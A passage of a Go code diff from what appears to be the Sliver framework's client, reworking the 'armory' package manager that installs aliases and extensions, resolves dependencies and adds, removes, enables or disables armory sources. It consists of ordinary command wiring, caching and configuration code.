carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryEnableCmd)
armoryDisableCmd := &cobra.Command{
Use: consts.DisableStr,
Short: "Disable an armory",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.DisableStr}),
Args: cobra.ExactArgs(1), // The name of the armory
Run: func(cmd *cobra.Command, args []string) {
ChangeArmoryEnabledState(cmd, con, args, false)
},
}
carapace.Gen(armoryDisableCmd).PositionalCompletion(
carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryDisableCmd)
armoryModifyCmd := &cobra.Command{
Use: consts.ModifyStr,
Short: "Modify an armory configuration",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.ModifyStr}),
Args: cobra.ExactArgs(1), // The name of the armory
Run: func(cmd *cobra.Command, args []string) {
ModifyArmoryCmd(cmd, con, args)
},
}
flags.Bind("", false, armoryModifyCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", "", "new name for the armory")
f.StringP("pubkey", "k", "", "new public key for the armory")
f.StringP("url", "u", "", "new URL for the armory")
f.StringP("auth", "a", "", "new authorization details / credentials for the armory")
f.StringP("authcmd", "x", "", "new local command to run for authorization to the armory")
f.BoolP("no-save", "e", false, "do not save armory configuration to armory configuration file")
})
carapace.Gen(armoryModifyCmd).PositionalCompletion(
carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryModifyCmd)
armoryRefreshCmd := &cobra.Command{
Use: consts.RefreshStr,
Short: "Refresh armory indexes",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.RefreshStr}),
Run: func(cmd *cobra.Command, args []string) {
RefreshArmories(cmd, con)
},
}
armoryCmd.AddCommand(armoryRefreshCmd)
armoryResetCmd := &cobra.Command{
Use: consts.ResetStr,
Short: "Reset armory configuration",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.ResetStr}),
Run: func(cmd *cobra.Command, args []string) {
ResetArmoryConfig(cmd, con)
},
}
armoryCmd.AddCommand(armoryResetCmd)
return []*cobra.Command{armoryCmd}
}
+389 -98
View File
@@ -19,122 +19,444 @@ package armory
*/
import (
"encoding/json"
"errors"
"fmt"
"net/url"
"os"
"path/filepath"
"slices"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/minisign"
)
// ErrPackageNotFound - The package was not found
var ErrPackageNotFound = errors.New("package not found")
var ErrPackageAlreadyInstalled = errors.New("package is already installed")
const (
doNotInstallOption = "Do not install this package"
doNotInstallPackageName = "do not install"
)
// ArmoryInstallCmd - The armory install command
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
var promptToOverwrite bool
name := args[0]
// name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("A package or bundle name is required")
return
}
forceInstallation, err := cmd.Flags().GetBool("force")
if err != nil {
con.PrintErrorf("Could not parse %q flag: %s\n", "force", err)
return
}
if forceInstallation {
promptToOverwrite = false
} else {
promptToOverwrite = true
}
armoryName, err := cmd.Flags().GetString("armory")
if err != nil {
con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
return
}
// Find PK for the armory name
armoryPK := getArmoryPublicKey(armoryName)
// If the armory with the name is not found, print a warning
if cmd.Flags().Changed("armory") && armoryPK == "" {
con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
}
clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packagesInCache()
aliases, extensions := packageManifestsInCache()
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
confirm := false
pluralAliases := "es"
if aliasCount == 1 {
pluralAliases = ""
}
pluralExtensions := "s"
if extCount == 1 {
pluralExtensions = ""
}
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
Message: fmt.Sprintf("Install %d alias%s and %d extension%s?",
aliasCount, pluralAliases, extCount, pluralExtensions,
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
promptToOverwrite = false
}
err := installPackageByName(name, clientConfig, con)
err = installPackageByName(name, armoryPK, forceInstallation, promptToOverwrite, clientConfig, con)
if err == nil {
return
}
if err == ErrPackageNotFound {
if errors.Is(err, ErrPackageNotFound) {
bundles := bundlesInCache()
for _, bundle := range bundles {
if bundle.Name == name {
installBundle(bundle, clientConfig, con)
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
return
}
}
// If we have made it here, then there was not a bundle or package that matched the provided name
if armoryPK == "" {
con.PrintErrorf("No package or bundle named %q was found\n", name)
} else {
con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
}
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
} else {
con.PrintErrorf("Could not install package: %s\n", err)
}
}
func installBundle(bundle *ArmoryBundle, armoryPK string, forceInstallation bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
installList := []string{}
pendingPackages := make(map[string]string)
for _, bundlePkgName := range bundle.Packages {
packageInstallList, err := buildInstallList(bundlePkgName, armoryPK, forceInstallation, pendingPackages)
if err != nil {
if errors.Is(err, ErrPackageAlreadyInstalled) {
con.PrintInfof("Package %s is already installed. Skipping...\n", bundlePkgName)
continue
} else {
con.PrintErrorf("Error for package %s: %s\n", bundlePkgName, err)
return
}
}
for _, pkgID := range packageInstallList {
if !slices.Contains(installList, pkgID) {
installList = append(installList, pkgID)
}
}
}
for _, packageID := range installList {
packageEntry := packageCacheLookupByID(packageID)
if packageEntry == nil {
con.PrintErrorf("The package cache is out of date. Please run armory refresh and try again.\n")
return
}
if packageEntry.Pkg.IsAlias {
err := installAliasPackage(packageEntry, false, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install alias '%s': %s", packageEntry.Alias.CommandName, err)
return
}
} else {
err := installExtensionPackage(packageEntry, false, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension '%s': %s", packageEntry.Extension.Name, err)
return
}
}
}
con.PrintErrorf("No package or bundle named '%s' was found", name)
}
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
for _, pkgName := range bundle.Packages {
err := installPackageByName(pkgName, clientConfig, con)
func getInstalledPackageNames() []string {
packageNames := []string{}
installedAliases := assets.GetInstalledAliasManifests()
installedExtensions := assets.GetInstalledExtensionManifests()
for _, aliasFileName := range installedAliases {
alias := &alias.AliasManifest{}
manifestData, err := os.ReadFile(aliasFileName)
if err != nil {
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
continue
}
err = json.Unmarshal(manifestData, alias)
if err != nil {
continue
}
if !slices.Contains(packageNames, alias.CommandName) {
packageNames = append(packageNames, alias.CommandName)
}
}
}
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name || name == "all" {
installAlias(alias, clientConfig, con)
if name != "all" {
return nil
}
for _, extensionFileName := range installedExtensions {
extension := &extensions.ExtensionManifest{}
manifestData, err := os.ReadFile(extensionFileName)
if err != nil {
continue
}
}
for _, extm := range extensions {
for _, ext := range extm.ExtCommand {
if ext.CommandName == name || name == "all" {
installExtension(ext.Manifest, clientConfig, con)
if name != "all" {
return nil
err = json.Unmarshal(manifestData, extension)
if err != nil {
continue
}
if len(extension.ExtCommand) == 0 {
extensionOld := &extensions.ExtensionManifest_{}
// Some extension manifests are using an older version
// To maintain compatibility with those extensions, we will
// re-unmarshal the data as the older version
err = json.Unmarshal(manifestData, extensionOld)
if err != nil {
continue
}
if !slices.Contains(packageNames, extensionOld.CommandName) {
packageNames = append(packageNames, extensionOld.CommandName)
}
} else {
for _, command := range extension.ExtCommand {
if !slices.Contains(packageNames, command.CommandName) {
packageNames = append(packageNames, command.CommandName)
}
}
}
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("All packages installed\n")
return nil
}
return ErrPackageNotFound
return packageNames
}
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
return
}
}
// This is a convenience function to get the names of the commands in the cache
func getCommandsInCache() []string {
commandNames := []string{}
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
if cacheEntry.LastErr == nil {
if cacheEntry.Pkg.IsAlias {
if !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
commandNames = append(commandNames, cacheEntry.Alias.CommandName)
}
} else {
for _, command := range cacheEntry.Extension.ExtCommand {
if !slices.Contains(commandNames, command.CommandName) {
commandNames = append(commandNames, command.CommandName)
}
}
}
}
return true
})
return commandNames
}
func getPackagesWithCommandName(name, armoryPK, minimumVersion string) []*pkgCacheEntry {
packages := []*pkgCacheEntry{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr == nil {
if cacheEntry.Pkg.IsAlias {
if cacheEntry.Alias.CommandName == name {
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Alias.Version >= minimumVersion) {
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
packages = append(packages, &cacheEntry)
}
}
}
} else {
for _, command := range cacheEntry.Extension.ExtCommand {
if command.CommandName == name {
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Extension.Version >= minimumVersion) {
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
packages = append(packages, &cacheEntry)
}
break
}
}
}
}
}
return true
})
return packages
}
func getPackageIDFromUser(name string, options map[string]string) string {
selectedPackageKey := ""
optionKeys := util.Keys(options)
slices.Sort(optionKeys)
// Add a cancel option
optionKeys = append(optionKeys, doNotInstallOption)
options[doNotInstallOption] = doNotInstallPackageName
prompt := &survey.Select{
Message: fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name),
Options: optionKeys,
}
survey.AskOne(prompt, &selectedPackageKey)
selectedPackageID := options[selectedPackageKey]
return selectedPackageID
}
func getPackageForCommand(name, armoryPK, minimumVersion string) (*pkgCacheEntry, error) {
packagesWithCommand := getPackagesWithCommandName(name, armoryPK, minimumVersion)
if len(packagesWithCommand) > 1 {
// Build an option map for the user to choose from (option -> pkgID)
optionMap := make(map[string]string)
for _, packageEntry := range packagesWithCommand {
var optionName string
if packageEntry.Pkg.IsAlias {
optionName = fmt.Sprintf("Alias %s %s from armory %s (%s)",
name,
packageEntry.Alias.Version,
packageEntry.ArmoryConfig.Name,
packageEntry.Pkg.RepoURL,
)
} else {
optionName = fmt.Sprintf("Extension %s %s from armory %s with command %s (%s)",
packageEntry.Pkg.Name,
packageEntry.Extension.Version,
packageEntry.ArmoryConfig.Name,
name,
packageEntry.Pkg.RepoURL,
)
}
optionMap[optionName] = packageEntry.ID
}
selectedPackageID := getPackageIDFromUser(name, optionMap)
if selectedPackageID == doNotInstallPackageName {
return nil, fmt.Errorf("user cancelled installation")
}
for _, packageEntry := range packagesWithCommand {
if packageEntry.ID == selectedPackageID {
return packageEntry, nil
}
}
} else if len(packagesWithCommand) == 1 {
return packagesWithCommand[0], nil
}
return nil, ErrPackageNotFound
}
func buildInstallList(name, armoryPK string, forceInstallation bool, pendingPackages map[string]string) ([]string, error) {
packageInstallList := []string{}
installedPackages := getInstalledPackageNames()
/*
Gather information about what we are working with
Find all conflicts within aliases for a given name (or all names), same thing with extensions
Then if there are aliases and extensions with a given name, make sure to note that for when we ask the user what to do
*/
var requestedPackageList []string
if name == "all" {
requestedPackageList = []string{}
allCommands := getCommandsInCache()
for _, cmdName := range allCommands {
if !slices.Contains(installedPackages, cmdName) || forceInstallation {
// Check to see if there is a package pending with that name
if _, ok := pendingPackages[cmdName]; !ok {
requestedPackageList = append(requestedPackageList, cmdName)
}
}
}
} else {
if !slices.Contains(installedPackages, name) || forceInstallation {
// Check to see if there is a package pending with that name
if _, ok := pendingPackages[name]; !ok {
requestedPackageList = []string{name}
}
} else {
return nil, ErrPackageAlreadyInstalled
}
}
for _, packageName := range requestedPackageList {
if _, ok := pendingPackages[packageName]; ok {
// We are already going to install a package with this name, so do not try to resolve it
continue
}
packageEntry, err := getPackageForCommand(packageName, armoryPK, "")
if err != nil {
return nil, err
}
if !slices.Contains(packageInstallList, packageEntry.ID) {
packageInstallList = append(packageInstallList, packageEntry.ID)
pendingPackages[packageName] = packageEntry.ID
}
if !packageEntry.Pkg.IsAlias {
dependencies := make(map[string]*pkgCacheEntry)
err = resolveExtensionPackageDependencies(packageEntry, dependencies, pendingPackages)
if err != nil {
return nil, err
}
for pkgName, packageEntry := range dependencies {
if !slices.Contains(packageInstallList, packageEntry.ID) {
packageInstallList = append(packageInstallList, packageEntry.ID)
}
if _, ok := pendingPackages[pkgName]; !ok {
pendingPackages[pkgName] = packageEntry.ID
}
}
}
}
return packageInstallList, nil
}
func installPackageByName(name, armoryPK string, forceInstallation, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
pendingPackages := make(map[string]string)
packageInstallList, err := buildInstallList(name, armoryPK, forceInstallation, pendingPackages)
if err != nil {
return err
}
if len(packageInstallList) > 0 {
for _, packageID := range packageInstallList {
entry := packageCacheLookupByID(packageID)
if entry == nil {
return errors.New("cache consistency error - please refresh the cache and try again")
}
if entry.Pkg.IsAlias {
err := installAliasPackage(entry, promptToOverwrite, clientConfig, con)
if err != nil {
return fmt.Errorf("failed to install alias '%s': %s", entry.Alias.CommandName, err)
}
} else {
err := installExtensionPackage(entry, promptToOverwrite, clientConfig, con)
if err != nil {
return fmt.Errorf("failed to install extension '%s': %s", entry.Extension.Name, err)
}
}
}
} else {
return ErrPackageNotFound
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("Operation complete\n")
}
return nil
}
func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
if entry == nil {
return errors.New("package not found")
}
if !entry.Pkg.IsAlias {
return errors.New("package is not an alias")
}
repoURL, err := url.Parse(entry.RepoURL)
if err != nil {
return err
@@ -174,7 +496,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
con.Printf(console.Clearln + "\r") // Clear the line
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
if installPath == nil {
return errors.New("failed to install alias")
}
@@ -188,50 +510,15 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
return nil
}
func installExtension(extm *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
deps := make(map[string]struct{})
for _, ext := range extm.ExtCommand {
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
sliverMenu := con.App.Menu(constants.ImplantMenu).Root()
for dep := range deps {
if extensions.CmdExists(dep, sliverMenu) {
continue // Dependency is already installed
}
err := installExtensionPackageByName(dep, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
return
}
}
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
return
}
}
}
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return
}
for _, multiExt := range entry.Extension.ExtCommand {
func resolveExtensionPackageDependencies(pkg *pkgCacheEntry, deps map[string]*pkgCacheEntry, pendingPackages map[string]string) error {
for _, multiExt := range pkg.Extension.ExtCommand {
if multiExt.DependsOn == "" {
continue // Avoid adding empty dependency
}
if multiExt.DependsOn == name {
if multiExt.DependsOn == pkg.Extension.Name {
continue // Avoid infinite loop of something that depends on itself
}
// We also need to look out for circular dependencies, so if we've already
@@ -239,24 +526,28 @@ func resolveExtensionPackageDependencies(name string, deps map[string]struct{},
if _, ok := deps[multiExt.DependsOn]; ok {
continue // Already resolved
}
// Check to make sure we are not already going to install a package with this name
if _, ok := pendingPackages[multiExt.DependsOn]; ok {
continue
}
if maxDepDepth < len(deps) {
continue
}
deps[multiExt.DependsOn] = struct{}{}
resolveExtensionPackageDependencies(multiExt.DependsOn, deps, clientConfig, con)
// Figure out what package we need for the dependency
dependencyEntry, err := getPackageForCommand(multiExt.DependsOn, "", "")
if err != nil {
return fmt.Errorf("could not resolve dependency %s for %s: %s", multiExt.DependsOn, pkg.Extension.Name, err)
}
deps[multiExt.DependsOn] = dependencyEntry
err = resolveExtensionPackageDependencies(dependencyEntry, deps, pendingPackages)
if err != nil {
return err
}
}
return nil
}
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
if entry == nil {
return errors.New("package not found")
}
@@ -302,7 +593,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
con.Printf(console.Clearln + "\r") // Clear download message
extensions.InstallFromDir(tmpFile.Name(), con, true)
extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
return nil
}
+653
View File
@@ -0,0 +1,653 @@
package armory
import (
"fmt"
"os"
"path/filepath"
"slices"
"strings"
"sync"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
func printArmories(con *console.SliverClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Armory Name",
"Authorization Required",
"Enabled",
"URL",
})
configuredArmories := getCurrentArmoryConfiguration()
for _, armory := range configuredArmories {
var authRequired string
var enabled string
if armory.Authorization != "" {
authRequired = "yes"
} else {
authRequired = "no"
}
if armory.Enabled {
enabled = "yes"
} else {
enabled = "no"
}
tw.AppendRow(table.Row{
armory.Name,
authRequired,
enabled,
armory.RepoURL,
})
}
con.Printf("%s\n", tw.Render())
}
func generateRowsForArmory(armoryInfo *assets.ArmoryConfig) []table.Row {
rows := make([]table.Row, 0)
rows = append(rows, table.Row{
"Name",
armoryInfo.Name,
})
rows = append(rows, table.Row{
"Public Key",
armoryInfo.PublicKey,
})
enabled := "yes"
if !armoryInfo.Enabled {
enabled = "no"
}
rows = append(rows, table.Row{
"Enabled",
enabled,
})
authorizationRequired := "no"
if armoryInfo.Authorization != "" {
authorizationRequired = fmt.Sprintf("yes; current authorization: %s", armoryInfo.Authorization)
}
rows = append(rows, table.Row{
"Authorization required?",
authorizationRequired,
})
if authorizationRequired != "no" {
authCmd := armoryInfo.AuthorizationCmd
if authCmd == "" {
authCmd = "not configured"
}
rows = append(rows, table.Row{
"Authorization Command",
authCmd,
})
}
rows = append(rows, table.Row{
"URL",
armoryInfo.RepoURL,
})
return rows
}
func generateRowsForPackage(packageInfo *pkgCacheEntry) []table.Row {
rows := make([]table.Row, 0)
rows = append(rows, table.Row{
"Name",
packageInfo.Pkg.Name,
})
rows = append(rows, table.Row{
"Command Name",
packageInfo.Pkg.CommandName,
})
rows = append(rows, table.Row{
"Armory Name",
packageInfo.Pkg.ArmoryName,
})
packageType := "alias"
if !packageInfo.Pkg.IsAlias {
packageType = "extension"
}
rows = append(rows, table.Row{
"Package Type",
packageType,
})
if packageType == "alias" {
rows = append(rows, table.Row{
"Version",
packageInfo.Alias.Version,
})
rows = append(rows, table.Row{
"Author",
packageInfo.Alias.OriginalAuthor,
})
rows = append(rows, table.Row{
"Repo URL",
packageInfo.Alias.RepoURL,
})
rows = append(rows, table.Row{
"Help",
packageInfo.Alias.Help,
})
} else {
rows = append(rows, table.Row{
"Version",
packageInfo.Extension.Version,
})
rows = append(rows, table.Row{
"Original Author",
packageInfo.Extension.OriginalAuthor,
})
rows = append(rows, table.Row{
"Extension Author",
packageInfo.Extension.ExtensionAuthor,
})
rows = append(rows, table.Row{
"URL",
packageInfo.Extension.RepoURL,
})
extCommands := []string{}
for _, cmd := range packageInfo.Extension.ExtCommand {
extCommands = append(extCommands, cmd.CommandName)
}
rows = append(rows, table.Row{
"Contains commands",
strings.Join(extCommands, ", "),
})
rows = append(rows, table.Row{"", ""})
rows = append(rows, table.Row{"Command Info", ""})
for _, extCmd := range packageInfo.Extension.ExtCommand {
rows = append(rows, table.Row{
"Command Name",
extCmd.CommandName,
})
rows = append(rows, table.Row{
"Dependencies",
extCmd.DependsOn,
})
rows = append(rows, table.Row{
"Help",
extCmd.Help,
})
rows = append(rows, table.Row{"", ""})
}
}
rows = append(rows, table.Row{"", ""})
return rows
}
func viewDetailedInformation(con *console.SliverClient, entity string) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Property",
"Value",
})
// See where this name exists in the armory and package indexes
armoryResult := armoryLookupByName(entity)
if armoryResult != nil {
tw.AppendRows(generateRowsForArmory(armoryResult))
con.Printf("Armory information for %s\n\n", entity)
con.Printf("%s\n", tw.Render())
tw.ResetRows()
con.Printf("\n")
}
// Get packages with this name
packageResult := packageCacheLookupByName(entity)
if len(packageResult) > 0 {
con.Printf("Packages named %s\n\n", entity)
for _, pkg := range packageResult {
tw.AppendRows(generateRowsForPackage(pkg))
con.Printf("%s\n", tw.Render())
tw.ResetRows()
con.Printf("\n")
}
}
// Get extensions containing commands with this name
commandResult := packageCacheLookupByCmd(entity)
commandResultFiltered := make([]*pkgCacheEntry, 0)
for _, cmd := range commandResult {
if !cmd.Pkg.IsAlias {
commandResultFiltered = append(commandResultFiltered, cmd)
}
}
if len(commandResultFiltered) > 0 {
con.Printf("Packages containing commands named %s\n\n", entity)
for _, cmd := range commandResultFiltered {
tw.AppendRows(generateRowsForPackage(cmd))
con.Printf("%s\n", tw.Render())
tw.ResetRows()
}
}
}
func ArmoryInfoCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
if len(args) == 0 {
printArmories(con)
return
}
// If the user wants info on something specific, make sure the caches are up to date
refresh(parseArmoryHTTPConfig(cmd))
viewDetailedInformation(con, args[0])
}
func verifyArmory(armoryInfo *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) error {
wg := &sync.WaitGroup{}
// Only making one request, so we can limit ourselves to one concurrent request
requestChannel := make(chan struct{}, 1)
wg.Add(1)
requestChannel <- struct{}{}
go fetchIndex(armoryInfo, requestChannel, clientConfig, wg)
wg.Wait()
result, ok := indexCache.Load(armoryInfo.PublicKey)
if !ok {
return fmt.Errorf("failed to retrieve armory index")
}
cacheResult := result.(indexCacheEntry)
return cacheResult.LastErr
}
func getCurrentArmoryConfiguration() []*assets.ArmoryConfig {
configs := []*assets.ArmoryConfig{}
armoryNames := []string{}
// If the default armory is in the configuration, force it to be last
var defaultConfig *assets.ArmoryConfig
currentArmories.Range(func(key, value interface{}) bool {
armoryEntry := value.(assets.ArmoryConfig)
// Skip over the default armory for now
if armoryEntry.Name != assets.DefaultArmoryName {
configs = append(configs, &armoryEntry)
armoryNames = append(armoryNames, armoryEntry.Name)
} else {
defaultConfig = &armoryEntry
}
return true
})
if !armoriesInitialized {
/*
Armories are initialized on the first call to the armory command
If armories are added or removed before the first call, we want
to make sure we still load in the ones from the configuration
file.
*/
persistentConfigs := assets.GetArmoriesConfig()
for _, config := range persistentConfigs {
if !slices.Contains(armoryNames, config.Name) {
if config.Name == assets.DefaultArmoryName {
if defaultArmoryRemoved {
continue
} else if defaultConfig != nil {
// The user potentially changed something about the default config
configs = append(configs, defaultConfig)
currentArmories.Store(config.PublicKey, *defaultConfig)
continue
}
}
configs = append(configs, config)
currentArmories.Store(config.PublicKey, *config)
}
}
return configs
}
if !defaultArmoryRemoved {
if defaultConfig != nil {
configs = append(configs, defaultConfig)
} else {
configs = append(configs, assets.DefaultArmoryConfig)
}
}
assets.RefreshArmoryAuthorization(configs)
return configs
}
func armoryNameExists(name string) bool {
currentArmoriesConfigured := getCurrentArmoryConfiguration()
for _, armory := range currentArmoriesConfigured {
if armory.Name == name {
return true
}
}
return false
}
func armoryKeyExists(pubKey string) bool {
currentArmoriesConfigured := getCurrentArmoryConfiguration()
for _, armory := range currentArmoriesConfigured {
if armory.PublicKey == pubKey {
return true
}
}
return false
}
func AddArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
// Get necessary information
url, _ := cmd.Flags().GetString("url")
pubKey, _ := cmd.Flags().GetString("pubkey")
auth, _ := cmd.Flags().GetString("auth")
authCmd, _ := cmd.Flags().GetString("authcmd")
noSave, _ := cmd.Flags().GetBool("no-save")
name := args[0]
if name == "" {
con.PrintErrorf("an armory name is required\n")
return
}
// Make sure we do not already have an armory config with the supplied name
if armoryNameExists(name) {
con.PrintErrorf("armory %s already exists\n", name)
return
}
clientConfig := parseArmoryHTTPConfig(cmd)
armoryConfig := assets.ArmoryConfig{
PublicKey: pubKey,
RepoURL: url,
Authorization: auth,
AuthorizationCmd: authCmd,
Name: name,
Enabled: true,
}
// verifyArmory will add the armory index to the cache on success, so we do not have to force a refresh
err := verifyArmory(&armoryConfig, clientConfig)
if err != nil {
con.PrintErrorf("could not add armory: %s\n", err)
return
}
currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
if !noSave {
configs := getCurrentArmoryConfiguration()
err = assets.SaveArmoriesConfig(configs)
if err != nil {
con.PrintErrorf("Could not save armory configuration: %s\n", err)
} else {
con.PrintSuccessf("Armory configuration saved\n")
}
}
con.PrintSuccessf("Added armory %s\n", name)
}
// Get a list of package IDs for an armory by its public key
func getPackageIDsForArmory(armoryPublicKey string) []string {
packageIDs := []string{}
pkgCache.Range(func(key, value interface{}) bool {
pkgEntry := value.(pkgCacheEntry)
if pkgEntry.ArmoryConfig.PublicKey == armoryPublicKey {
packageIDs = append(packageIDs, pkgEntry.ID)
}
return true
})
return packageIDs
}
func RemoveArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
name := args[0]
if name == "" {
con.PrintErrorf("an armory name is required\n")
return
}
armories := getCurrentArmoryConfiguration()
deleted := false
newConfiguration := []*assets.ArmoryConfig{}
for _, armory := range armories {
if armory.Name != name {
newConfiguration = append(newConfiguration, armory)
} else {
currentArmories.Delete(armory.PublicKey)
indexCache.Delete(armory.PublicKey)
/*
To delete from the package cache, we will have
to gather a list of package IDs for the
armory then delete them from the cache.
*/
armoryPackageIDs := getPackageIDsForArmory(armory.PublicKey)
for _, id := range armoryPackageIDs {
pkgCache.Delete(id)
}
deleted = true
}
}
if deleted {
con.PrintSuccessf("Armory %s successfully deleted, saving configuration...\n", name)
if name == assets.DefaultArmoryName {
defaultArmoryRemoved = true
}
} else {
con.PrintErrorf("Armory %s is not a configured armory\n", name)
return
}
err := assets.SaveArmoriesConfig(newConfiguration)
if err != nil {
con.PrintErrorf("Could not save new armory configuration: %s\n", err)
} else {
con.PrintSuccessf("Saved armory configuration\n")
}
}
func SaveArmories(con *console.SliverClient) {
configs := getCurrentArmoryConfiguration()
err := assets.SaveArmoriesConfig(configs)
if err != nil {
con.PrintErrorf("Could not save armory configuration: %s\n", err)
} else {
con.PrintSuccessf("Successfully saved armory configuration\n")
}
}
func getArmoryConfig(name string) (assets.ArmoryConfig, error) {
armories := getCurrentArmoryConfiguration()
var armoryPublicKey string
armoryConfig := assets.ArmoryConfig{}
for _, armory := range armories {
if armory.Name == name {
armoryPublicKey = armory.PublicKey
break
}
}
if armoryPublicKey == "" {
return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
}
value, ok := currentArmories.Load(armoryPublicKey)
if !ok {
return armoryConfig, fmt.Errorf("could not retrieve armory configuration for armory %s. Try running the armory command to refresh indexes", name)
}
armoryConfig = value.(assets.ArmoryConfig)
return armoryConfig, nil
}
func ChangeArmoryEnabledState(cmd *cobra.Command, con *console.SliverClient, args []string, enabled bool) {
// Get the armory's public key, change its state, then update the cache to remove packages from the armory
var name string
if len(args) > 0 && args[0] != "" {
name = args[0]
} else {
con.PrintErrorf("an armory name is required")
return
}
armoryConfig, err := getArmoryConfig(name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
armoryPublicKey := armoryConfig.PublicKey
armoryConfig.Enabled = enabled
currentArmories.Store(armoryPublicKey, armoryConfig)
if !enabled {
// Remove cached info for the armory if it is disabled
armoryPackageIDs := getPackageIDsForArmory(armoryPublicKey)
for _, id := range armoryPackageIDs {
pkgCache.Delete(id)
}
indexCache.Delete(armoryPublicKey)
}
// Force a refresh
clientConfig := parseArmoryHTTPConfig(cmd)
con.PrintInfof("Refreshing armory information...\n")
